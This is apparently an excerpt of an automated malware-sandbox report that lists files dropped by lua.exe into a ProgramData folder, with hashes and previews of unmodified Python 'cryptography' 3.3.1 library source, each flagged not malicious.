C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.918426699477594
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlViHnRRP+tkKc5vKWnn:RtBMwlViHjWK/SWn
MD5:	34F739FF093860E9ED54C544FECE5F53
SHA1:	6273413F09CEE0C0F20B18318544C74511127051
SHA-256:	251F61ECA29EE4D693F8C131ECAE0CAF8B2953B03C471EFDB268B45DDA399F6F
SHA-512:	B14CD14296172B413905AB2B605D457810F17F9B2A94408CA0B752A727902741610B34E8A359D628B98D4DC45ED5E3A0C163D2F5FDD3AFC728D66ED0E3769126
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.36.1).Root-Is-Purelib: false.Tag: cp36-abi3-win32..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.962103165155795
Encrypted:	false
SSDEEP:	3:DA1JjBHvAYuOv:DUOev
MD5:	62246E29EB9A005B743A15C18FE944DD
SHA1:	10A5E354DAA692FF714D3C49BED348ABD8A485C7
SHA-256:	AD1DB087A03A8EE0F4D93059349AAAA2787CC7D50FF526B967D1E5D6908F0A23
SHA-512:	F16FDA3B0A05A1B5F7D8F63E8A223B27CA4689F559D4A00357E129ECB24AD3E8B4519A70D59919DE8D93ADC8AD3B0EAF05192E3D18CE876D7DCA13ED498A0FCC
Malicious:	false
Preview:	_openssl._padding.cryptography.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\__about__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	835
Entropy (8bit):	4.753005565866257
Encrypted:	false
SSDEEP:	24:q9O0opQ2PFNz14MHqiVwdQ+CJb1H0tIeE:IDoW+FNSMKBdQ+CvUtrE
MD5:	0445AA9B0912530008743D12A72713B0
SHA1:	7D240A5808375815CE1B3F4B07271C5E9BAEC00F
SHA-256:	4E436BBE70D0200F7DCB172048C3721107A99A0D3345FDF6CF4EA09B870C0B12
SHA-512:	7698D08AAC277A3AB55D48F8B505B36A61A08AE7E30ED16CBFA5DDAB331645DA11230CC02490C953DF130AF173FD779808A9D5549D9A4CD57F2DB8F6EC009639
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..__all__ = [. "__title__",. "__summary__",. "__uri__",. "__version__",. "__author__",. "__email__",. "__license__",. "__copyright__",.]..__title__ = "cryptography".__summary__ = (. "cryptography is a package which provides cryptographic recipes". " and primitives to Python developers.".).__uri__ = "https://github.com/pyca/cryptography"..__version__ = "3.3.1"..__author__ = "The cryptography developers".__email__ = "cryptography-dev@python.org"..__license__ = "BSD or Apache License, Version 2.0".__copyright__ = "Copyright 2013-2020 {}".format(__author__).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	964
Entropy (8bit):	4.522951086975249
Encrypted:	false
SSDEEP:	24:q9O0opQ29JQAJFOX5MFNz14MHqK4AXm3YMWNnEv:IDoWIBqXKFNSMKKPXhMwG
MD5:	27C6DA2BB69C3D260E43267FC6EB9001
SHA1:	0CAAFE684D8C1A2985A902C2D9E2FD64B5D93696
SHA-256:	949E4750E1822A2F6BF971B8637A97ABD761085BFC46AC1929982442340B6E80
SHA-512:	72C68202922379203A46BE370F1B546FDC8AA73EAA8788D8F44D1598201DBCF762CCCC8933AB9A210BF7180B2E6E97520B238556E149C1F9576F72BC2B7516B8
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import sys.import warnings..from cryptography.__about__ import (. __author__,. __copyright__,. __email__,. __license__,. __summary__,. __title__,. __uri__,. __version__,.).from cryptography.utils import CryptographyDeprecationWarning...__all__ = [. "__title__",. "__summary__",. "__uri__",. "__version__",. "__author__",. "__email__",. "__license__",. "__copyright__",.]..if sys.version_info[0] == 2:. warnings.warn(. "Python 2 is no longer supported by the Python core team. Support for ". "it is now deprecated in cryptography, and will be removed in the ". "next release.",. CryptographyDeprecationWarning,. stacklevel=2,. ).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\exceptions.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	5.129548297089059
Encrypted:	false
SSDEEP:	24:q9O0opQ2mYpNfZxAu/WNDMShAfa7ZVW+jAohNsz:IDoWPYfZx2hd1VhRra
MD5:	5136839F6F7C2D538449AE913D696202
SHA1:	EF32D91100D4F53D101A3E9B657B17DF528B51D5
SHA-256:	34FB43A88AB596C43519BD415E48EC188BDB32B58C68A09A4FC7A9892822D35D
SHA-512:	912D74F4FA08EF0DF6DF69A714005905CF997FCC10CCAB1F494857C04B91DEF65F3A3530A2A704A8F7676D021D268B15D339EFBBDB1703601073DA7BB20714CB
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from enum import Enum...class _Reasons(Enum):. BACKEND_MISSING_INTERFACE = 0. UNSUPPORTED_HASH = 1. UNSUPPORTED_CIPHER = 2. UNSUPPORTED_PADDING = 3. UNSUPPORTED_MGF = 4. UNSUPPORTED_PUBLIC_KEY_ALGORITHM = 5. UNSUPPORTED_ELLIPTIC_CURVE = 6. UNSUPPORTED_SERIALIZATION = 7. UNSUPPORTED_X509 = 8. UNSUPPORTED_EXCHANGE_ALGORITHM = 9. UNSUPPORTED_DIFFIE_HELLMAN = 10. UNSUPPORTED_MAC = 11...class UnsupportedAlgorithm(Exception):. def __init__(self, message, reason=None):. super(UnsupportedAlgorithm, self).__init__(message). self._reason = reason...class AlreadyFinalized(Exception):. pass...class AlreadyUpdated(Exception):. pass...class NotYetFinalized(Exception):. pass...class InvalidTag(Exc

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\fernet.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5980
Entropy (8bit):	4.52504446520189
Encrypted:	false
SSDEEP:	96:FmNeldXR15TZasDhDQVR6mXLYe0octwzlv7V5pfsPmD8Xq4Z:F8g9LRAx0R88L
MD5:	40F266D99FBF3F3468459A989093BEF7
SHA1:	DC99F16DC963222D988EFF98AB5980B7B5364FC7
SHA-256:	B20E5134E08AC7D06B3D5EB021FC9707DB03589730F7E18F70F80DE25566AFCC
SHA-512:	A2FC7C7EA39416D9F00190FD0FDB3286CEAED91C102AC64201831A4BA0EE937FA4AFAEDA8F57856E2B33512BCF119F8F9E517026F90E2A998D1F45AFC5158FAD
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import base64.import binascii.import os.import struct.import time..import six..from cryptography import utils.from cryptography.exceptions import InvalidSignature.from cryptography.hazmat.backends import _get_backend.from cryptography.hazmat.primitives import hashes, padding.from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes.from cryptography.hazmat.primitives.hmac import HMAC...class InvalidToken(Exception):. pass..._MAX_CLOCK_SKEW = 60...class Fernet(object):. def __init__(self, key, backend=None):. backend = _get_backend(backend).. key = base64.urlsafe_b64decode(key). if len(key) != 32:. raise ValueError(. "Fernet key must be 32 url-safe base64-encoded bytes.".

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	483
Entropy (8bit):	4.683135181279414
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17WimkXhY2a7D2XAu8qKz1ziiQjCy5J:q9O0opS6hYKQu2Za22
MD5:	2A6F2AEFCB080E1E28768A08E97F8817
SHA1:	1B34070CD39592BAE50A0D31755F97C7A44C37CC
SHA-256:	8443CD430F1D82320F227E36A9A2F05CD44B0B24C6359792BE441BE7B0CF85BB
SHA-512:	3E4B005450859F04076CCB0BF22D7747826B675600C9DA200E994723069C8B7BFB365302BF55787EFDD84E19D8DEEEB80CBF347F8D89EF4884FDC15175099E89
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details..""".Hazardous Materials..This is a "Hazardous Materials" module. You should ONLY use it if you're.100% absolutely sure that you know what you're doing because this module.is full of land mines, dragons, and dinosaurs with laser guns..""".from __future__ import absolute_import, division, print_function.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\_der.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5205
Entropy (8bit):	4.5298098889221174
Encrypted:	false
SSDEEP:	96:FExFgA0nnO47mv8L/FX+HmEsUtZElfTH5kQ5XXimWbmNBRfa/qly2DS2pHb1t:FExFghnP3L/IHmEsUtZExDXSmgmNBRS0
MD5:	7E0D66305FAE52E4A65E4735850477CB
SHA1:	7DB543F086DE9D30B043F14D76C3B85AEB07BCD3
SHA-256:	364C3140172B47F28C01908CDD62A2757831F021C5554E62067A0522B850310B
SHA-512:	B85929F28E99B46CC6344A9E3A2762D8CABF0DD8AF3DAC7EC0B23A3E8E00F62A6271433D472DDB99AEA0FEA4355264B1B9E849EFD2EB37337CD34F48D4612591
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import six..from cryptography.utils import int_from_bytes, int_to_bytes...# This module contains a lightweight DER encoder and decoder. See X.690 for the.# specification. This module intentionally does not implement the more complex.# BER encoding, only DER..#.# Note this implementation treats an element's constructed bit as part of the.# tag. This is fine for DER, where the bit is always computable from the type....CONSTRUCTED = 0x20.CONTEXT_SPECIFIC = 0x80..INTEGER = 0x02.BIT_STRING = 0x03.OCTET_STRING = 0x04.NULL = 0x05.OBJECT_IDENTIFIER = 0x06.SEQUENCE = 0x10 \| CONSTRUCTED.SET = 0x11 \| CONSTRUCTED.PRINTABLE_STRING = 0x13.UTC_TIME = 0x17.GENERALIZED_TIME = 0x18...class DERReader(object):. def __init__(self, data):. self.data = mem

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\_oid.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2432
Entropy (8bit):	4.265190712278429
Encrypted:	false
SSDEEP:	48:IDoW2+hU0tWjKQAYNIrhkJkbjmtCXrwdPjd0Rm:FZ+hteBIVkJkOnxWm
MD5:	A7853AADBFA5A5CA16ABAF6D1236CA84
SHA1:	D19B25024C32D5E8B972265CDC742447D89EB23B
SHA-256:	DCBD4A2F102C409268CB5E590A5D13E08F8F53E0D5BF3192F994DD4BE3CDCB5E
SHA-512:	A92E3E2F9DB0D4CAA5CA84D6A48E1C8269FA4F410365F166C312B16C4154AA3A20AED0E5E59AB5F33AC19AA1FFF7ED0C298D69A7B1057CE29EB0D67C5DB0BF0F
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils...class ObjectIdentifier(object):. def __init__(self, dotted_string):. self._dotted_string = dotted_string.. nodes = self._dotted_string.split("."). intnodes = [].. # There must be at least 2 nodes, the first node must be 0..2, and. # if less than 2, the second node cannot have a value outside the. # range 0..39. All nodes must be integers.. for node in nodes:. try:. node_value = int(node, 10). except ValueError:. raise ValueError(. "Malformed OID: %s (non-integer nodes)". % (self._dotted_string). ). if node_value < 0:. raise ValueE

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	616
Entropy (8bit):	4.53980471954035
Encrypted:	false
SSDEEP:	12:qD+6O0vgEVhO17yDjCy59GxfYpOo7mZOISBAyR2GPc5EkX6Y:q9O0opQ24GhYpt7WuBhRlPqX
MD5:	5BEC6D82E1109AE9ECA5D833FBAE720F
SHA1:	A83E23C3FF32B99DFEAD6A5CF723FAF6066E0157
SHA-256:	10486321982A0293BB7281AEC9B2D7C9A11A5881DC760F280B48B6BF14384522
SHA-512:	F1F4B738D1E39EF013A1CE10C6BCA928BCBDFE9F42F98AD346F69D412926EC41B9C6C6896463524A214AEE358AF7E4D8E8ADE09F3686D45F6755FFE2F3D301F5
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..._default_backend = None...def default_backend():. global _default_backend.. if _default_backend is None:. from cryptography.hazmat.backends.openssl.backend import backend.. _default_backend = backend.. return _default_backend...def _get_backend(backend):. if backend is None:. return default_backend(). else:. return backend.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\interfaces.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10770
Entropy (8bit):	4.5378510498237405
Encrypted:	false
SSDEEP:	192:FgFUStWaffGHafxP7pYwpiH8agtVpvpox1X06gJ:Fg17fGHafxPDpmfOojX06gJ
MD5:	9BAFC27E91AA1D395D9075313A14C221
SHA1:	86E0179283FAB8163739B454E636AFBEF86D5605
SHA-256:	197C921EBA462E0793AE3520C4E62D2BABE26A984ED5D0CA00E03DE49163FE93
SHA-512:	A25396E659BC6D908F5980B8BCF98DF336DA7BA9F11C57CD620CE752BA1AECD6EA819FC200EC674AB6DEE92C1B04DE335E434A4C98C89358F0E7C8073D44289D
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import abc..import six...@six.add_metaclass(abc.ABCMeta).class CipherBackend(object):. @abc.abstractmethod. def cipher_supported(self, cipher, mode):. """. Return True if the given cipher and mode are supported.. """.. @abc.abstractmethod. def create_symmetric_encryption_ctx(self, cipher, mode):. """. Get a CipherContext that can be used for encryption.. """.. @abc.abstractmethod. def create_symmetric_decryption_ctx(self, cipher, mode):. """. Get a CipherContext that can be used for decryption.. """...@six.add_metaclass(abc.ABCMeta).class HashBackend(object):. @abc.abstractmethod. def hash_supported(self, algorithm):. """. Return True if the ha

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	336
Entropy (8bit):	4.729066290839668
Encrypted:	false
SSDEEP:	6:SbFpbtcMi6O0vgad8pq/ZOwA9lJuzDMABCR1SX59KiLeRb1OI90RJ21:qD+6O0vgEVhO17yDjCy5oNZOISRJU
MD5:	12B5564E72DDC097CED1F5E6A97C2692
SHA1:	DC38D2589E97959A1081393142B3340FFC963FF3
SHA-256:	9380CC7B6DBCFE14EE076918DCBC24EB625D23712609DED5915D35CC99B9EE9B
SHA-512:	60D2A89D84C6A2CEB5E73EFE861A90429D5934D04137E95694E880B11B2D8DF423A0E78C4E0AC3117C9ECDE14786B8F650A759231F04D3CDA3D35583E4A68F6D
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography.hazmat.backends.openssl.backend import backend...__all__ = ["backend"].

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\aead.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5765
Entropy (8bit):	4.862733133153451
Encrypted:	false
SSDEEP:	96:FVGhTtl0KuPRWfRWDYARW1BWBWffcRWpppRWJOWpRWyrWJn9RWzWSQgDWpRWcoRT:F4hT/LuPRWfRW8ARWzWBWffcRWpppRWt
MD5:	64DF27DE311D3BD43FA9B7B88D39507B
SHA1:	2DCB489B3B810519E20CB9903FC07C7F19CA4D7B
SHA-256:	963392908ECD5E05E2F4EC9F1E39BD274EE6DC454714D9BD91F1C02288125AD7
SHA-512:	AA59FBC927901B57A045028653F2AD2B26F938E650693E7E9C7899EDA26747B66149D999C62711078935E4733980F086973EDD6B26856AA2624D01FB219D9A83
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography.exceptions import InvalidTag..._ENCRYPT = 1._DECRYPT = 0...def _aead_cipher_name(cipher):. from cryptography.hazmat.primitives.ciphers.aead import (. AESCCM,. AESGCM,. ChaCha20Poly1305,. ).. if isinstance(cipher, ChaCha20Poly1305):. return b"chacha20-poly1305". elif isinstance(cipher, AESCCM):. return "aes-{}-ccm".format(len(cipher._key) * 8).encode("ascii"). else:. assert isinstance(cipher, AESGCM). return "aes-{}-gcm".format(len(cipher._key) * 8).encode("ascii")...def _aead_setup(backend, cipher_name, key, nonce, tag, tag_len, operation):. evp_cipher = backend._lib.EVP_get_cipherbyname(cipher_name). backend.openssl_assert(evp_cipher != backend._ffi.NULL).

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\backend.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	106372
Entropy (8bit):	4.691855713814495
Encrypted:	false
SSDEEP:	768:y0mCciQvzvwOKR4UyRugmm3PKlsUVSzPExGIqt0o+5Jvoktmrn5TSXTC2qA48JkE:dCcOe41mlKcik8EjJ9Xd8VQITO
MD5:	A4C177751BDAA0B43E6C0F14490265D8
SHA1:	11EE8D5329E6D573F694CE0A35413247417094C0
SHA-256:	0B02133C59FB177063C6BFD6EB114970822FF8C2E540B24575C9ECA3C492FD4D
SHA-512:	CEE733CA1C453601324967A6D56D7876267D2C1E1C3DD3863CF8D268EDE06AFB66B89A1A50E8D0D39C005BD96CE473B7109DCAF18FF286A376B9AF9E1413820B
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import collections.import contextlib.import itertools.import warnings.from contextlib import contextmanager..import six.from six.moves import range..from cryptography import utils, x509.from cryptography.exceptions import UnsupportedAlgorithm, _Reasons.from cryptography.hazmat._der import (. INTEGER,. NULL,. SEQUENCE,. encode_der,. encode_der_integer,.).from cryptography.hazmat.backends.interfaces import (. CMACBackend,. CipherBackend,. DERSerializationBackend,. DHBackend,. DSABackend,. EllipticCurveBackend,. HMACBackend,. HashBackend,. PBKDF2HMACBackend,. PEMSerializationBackend,. RSABackend,. ScryptBackend,. X509Backend,.).from cryptography.hazmat.backends.openssl import aead.from cryptog

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\ciphers.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8608
Entropy (8bit):	4.467409640298474
Encrypted:	false
SSDEEP:	96:FZUz6vxdbfg2JgveNHoY5Rp000prlpkwY2XrOasM/Tvfe:FZUz6vxRgnvK/5ArprLYe/bu
MD5:	900E5C1F06125D88415011CB7E8DD365
SHA1:	817A9E92AFD11F658922C844EAE2465B54E01FE1
SHA-256:	5AB981819D8F0956DA3241DD7CA99852FA15670C10E4EFB5CA5CECB4D69D38D7
SHA-512:	D08C7CED1BFF6CF400DBF3408EEAF4A2FFA3C94E5ADE63CC2EC49A311E0AFEA83400D614EB88CCED413AB731E58BD644C823142AE8314EC52D02DCCBD416473E
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import InvalidTag, UnsupportedAlgorithm, _Reasons.from cryptography.hazmat.primitives import ciphers.from cryptography.hazmat.primitives.ciphers import modes...@utils.register_interface(ciphers.CipherContext).@utils.register_interface(ciphers.AEADCipherContext).@utils.register_interface(ciphers.AEADEncryptionContext).@utils.register_interface(ciphers.AEADDecryptionContext).class _CipherContext(object):. _ENCRYPT = 1. _DECRYPT = 0. _MAX_CHUNK_SIZE = 2 ** 31 - 1.. def __init__(self, backend, cipher, mode, operation):. self._backend = backend. self._cipher = cipher. self._mode = mode. self._operation = operation. self._tag = None.. if

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\cmac.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2855
Entropy (8bit):	4.6369273696485
Encrypted:	false
SSDEEP:	48:IDoWmf5jDHoa0w/nvSEtDjgXIyB2GsCH0RsUzGJCPtiCCnZA9C12D9CwU6oCgCIc:Fblrout3i2AGn3Wo
MD5:	0198E5C6F2982FB704BC9F4AE16D52EE
SHA1:	1A79E075AD40AD67046BA508EA4D4D0AEC9EB783
SHA-256:	9F7E165CD5EDFABD2DAE9DB4EEED1C48AC0632D87CA84884B368E38261CDB561
SHA-512:	75AA533D9EBBA9F0371180F7A7BACA2ECE0778F920C63A5D13485826CC6959571DBB2A228E64CD2D4AD359D20060BC12174AF3902DBDF5482C370A1EBA5A8E49
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function...from cryptography import utils.from cryptography.exceptions import (. InvalidSignature,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.primitives import constant_time.from cryptography.hazmat.primitives.ciphers.modes import CBC...class _CMACContext(object):. def __init__(self, backend, algorithm, ctx=None):. if not backend.cmac_algorithm_supported(algorithm):. raise UnsupportedAlgorithm(. "This backend does not support CMAC.",. _Reasons.UNSUPPORTED_CIPHER,. ).. self._backend = backend. self._key = algorithm.key. self._algorithm = algorithm. self._output_length = algorithm.block_size // 8.. if ctx is None:. registr

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\decode_asn1.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	32332
Entropy (8bit):	4.934351881187784
Encrypted:	false
SSDEEP:	384:Fgqq2dPrDM7hDBIeRQB/0KCzCE22bzhPD4744x59tP44GBs:7dPfM7hRR+/PCzCE0744r9V44GC
MD5:	8CFB10BAB098E784B7D245F03BAF57EC
SHA1:	ECBAFDE52C2322A1E0F154C2A1252051E31F08ED
SHA-256:	052D98FB866E75697E081FDF67462A55820E42B9EFEF388E863A68F9022AF3FA
SHA-512:	9DA14E0EC4955991E462648E2C6D490E1A31EB4C87D6F47BEAA1C0DE6B974A40D214211DDC8E4D8DDCA176D2ECE922B9871AEF9F085336555FAFCD3457389EFA
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..import datetime.import ipaddress..import six..from cryptography import x509.from cryptography.hazmat._der import DERReader, INTEGER, NULL, SEQUENCE.from cryptography.x509.extensions import _TLS_FEATURE_TYPE_TO_ENUM.from cryptography.x509.name import _ASN1_TYPE_TO_ENUM.from cryptography.x509.oid import (. CRLEntryExtensionOID,. CertificatePoliciesOID,. ExtensionOID,. OCSPExtensionOID,.)...def _obj2txt(backend, obj):. # Set to 80 on the recommendation of. # https://www.openssl.org/docs/crypto/OBJ_nid2ln.html#return_values. #. # But OIDs longer than this occur in real life (e.g. Active. # Directory makes some very long OIDs). So we need to detect. # and properly handle the case where the default buffer is not. #

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\dh.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10239
Entropy (8bit):	4.677471884912867
Encrypted:	false
SSDEEP:	192:FZSHljRHqOMkvjHRDeqEz1H2ZL0PCYunHR/Km6L:FUhxDeqG1HSL0PCYEx/K7L
MD5:	B4EBB03A03529E9134B9A7FBBDBC3032
SHA1:	E249C6C8A4A6CC2F997A33CD960D54D8A9F822D7
SHA-256:	D5F667F289DED9A4A56BCE4B21EEAF5DB7F4AA82D30D2F81EED60C72B26C8676
SHA-512:	9ECE8D6F7470E78BC72F5D064812C886DC7BB1C7C1174FDB301396533755C514907C8B233D87A785D31B6829FEC64EB93804851D73748C2332559D4C16041957
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import UnsupportedAlgorithm, _Reasons.from cryptography.hazmat.primitives import serialization.from cryptography.hazmat.primitives.asymmetric import dh...def _dh_params_dup(dh_cdata, backend):. lib = backend._lib. ffi = backend._ffi.. param_cdata = lib.DHparams_dup(dh_cdata). backend.openssl_assert(param_cdata != ffi.NULL). param_cdata = ffi.gc(param_cdata, lib.DH_free). if lib.CRYPTOGRAPHY_IS_LIBRESSL:. # In libressl DHparams_dup don't copy q. q = ffi.new("BIGNUM **"). lib.DH_get0_pqg(dh_cdata, ffi.NULL, q, ffi.NULL). q_dup = lib.BN_dup(q[0]). res = lib.DH_set0_pqg(param_cdata, ffi.NULL, q_dup, ffi.NULL). backend.openssl_ass

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\dsa.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10036
Entropy (8bit):	4.710744177205574
Encrypted:	false
SSDEEP:	192:FZcGADnrgRWcs0RWgMaakfupEZvcLSflFzczwox5vSLSOpQqF:Fip3MJkLSfldczwo3aLSOOqF
MD5:	A74F028D433B7FA98A3F2BB01AD59D7B
SHA1:	27F1A428D941BDDE0F60E20695671030EF120BA4
SHA-256:	0A9D70D59E89FCF116F90776440CDF0B4E0C53D631A9839A79FE7B7FF415A582
SHA-512:	CEA301BFDC0FABFACF19B2A33C55E10DD232F6DC42CB5C486F9EC9DD6CC0D8839A39273B2A3BCF70F2BAC2C9131F8B9DDF5DE9AC8485FCE4206D96235A12A952
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import InvalidSignature.from cryptography.hazmat.backends.openssl.utils import (. _calculate_digest_and_algorithm,. _check_not_prehashed,. _warn_sign_verify_deprecated,.).from cryptography.hazmat.primitives import hashes.from cryptography.hazmat.primitives.asymmetric import (. AsymmetricSignatureContext,. AsymmetricVerificationContext,. dsa,.)...def _dsa_sig_sign(backend, private_key, data):. sig_buf_len = backend._lib.DSA_size(private_key._dsa_cdata). sig_buf = backend._ffi.new("unsigned char[]", sig_buf_len). buflen = backend._ffi.new("unsigned int *").. # The first parameter passed to DSA_sign is unused by OpenSSL but. # must be an integer.. res

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\ec.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12071
Entropy (8bit):	4.711706788125094
Encrypted:	false
SSDEEP:	192:FZJ+5+G9bsRqFMwVpRW1AVRWqf2azU49LhkHYbAnCS3trNXLhkHzpbfEPw:Fnhqtn9KYCCS9rN9Kzx
MD5:	FE41E3F0154A28386223B1088E40C3AB
SHA1:	3F74E4CB99E8A0A1D8CD7F095010F1E2954B1EF0
SHA-256:	7370D46FF019DB5E5FF406801F238AA81A0D51277AB056D420331B2EB6CBB8B0
SHA-512:	80459D25D43C7529880573F00C9F9DDD158076BCB5DFCC32BCAC5E388E64698F8A0A13A210131B95630630E7BFB84F8A4D5C7E8A92DA825DD106A10408A35B4D
Malicious:	false
Preview:	# This file is dual licensed under the terms of the Apache License, Version.# 2.0, and the BSD License. See the LICENSE file in the root of this repository.# for complete details...from __future__ import absolute_import, division, print_function..from cryptography import utils.from cryptography.exceptions import (. InvalidSignature,. UnsupportedAlgorithm,. _Reasons,.).from cryptography.hazmat.backends.openssl.utils import (. _calculate_digest_and_algorithm,. _check_not_prehashed,. _warn_sign_verify_deprecated,.).from cryptography.hazmat.primitives import hashes, serialization.from cryptography.hazmat.primitives.asymmetric import (. AsymmetricSignatureContext,. AsymmetricVerificationContext,. ec,.)...def _check_signature_algorithm(signature_algorithm):. if not isinstance(signature_algorithm, ec.ECDSA):. raise UnsupportedAlgorithm(. "Unsupported elliptic curve signature algorithm.",. _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM,.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\ed25519.py Download File
Process:	C:\ProgramData\lua\lua.exe
